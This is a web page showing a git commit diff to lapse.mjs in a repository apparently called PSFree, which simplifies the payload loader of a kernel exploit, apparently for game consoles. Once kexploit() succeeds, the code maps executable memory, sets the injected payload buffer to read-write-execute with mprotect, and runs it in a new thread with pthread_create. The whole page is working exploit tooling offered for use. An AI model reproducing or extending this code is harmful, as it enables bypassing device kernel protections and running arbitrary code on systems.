Seth/PSFree
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Merge pull request #10 from janisslsm/main

Browse Source 
simplified payload loader code
This commit is contained in:
Kameleon
2025-05-17 15:52:27 -06:00
committed by GitHub
parent a585303a21 f9c7ae48e4
commit 3ec06fe072
1 changed files with 11 additions and 30 deletions
Download Patch File Download Diff File Expand all files Collapse all files
lapse.mjs
+11 -30
View File
@@ -96,6 +96,9 @@ const CPU_LEVEL_WHICH = 3;
const CPU_WHICH_TID = 1;
// sys/mman.h
const PROT_READ = 1;
const PROT_WRITE = 2;
const PROT_EXEC = 4;
const MAP_SHARED = 1;
const MAP_FIXED = 0x10;
@@ -140,7 +143,6 @@ const num_leaks = 5;
const num_clobbers = 8;
let chain = null;
var nogc = [];
async function init() {
await rop.init();
chain = new Chain();
@@ -1736,39 +1738,18 @@ export async function kexploit() {
}
kexploit().then(() => {
function malloc(sz) {
var backing = new Uint8Array(0x10000 + sz);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz) {
var backing = new Uint8Array(0x10000 + sz * 4);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
window.pld_size = new Int(0x26200000, 0x9);
var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
var payload = window.pld;
var bufLen = payload.length * 4
var payload_loader = malloc32(bufLen);
var loader_writer = payload_loader.backing;
for (var i = 0; i < payload.length; i++) {
loader_writer[i] = payload[i];
}
chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4));
var pthread = malloc(0x10);
var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
var payload_loader = new View4(window.pld);
chain.sys('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC);
const ctx = new Buffer(0x10);
const pthread = new Pointer();
pthread.ctx = ctx;
call_nze(
'pthread_create',
pthread,
pthread.addr,
0,
payload_loader,
payload_loader.addr,
payload_buffer,
);
})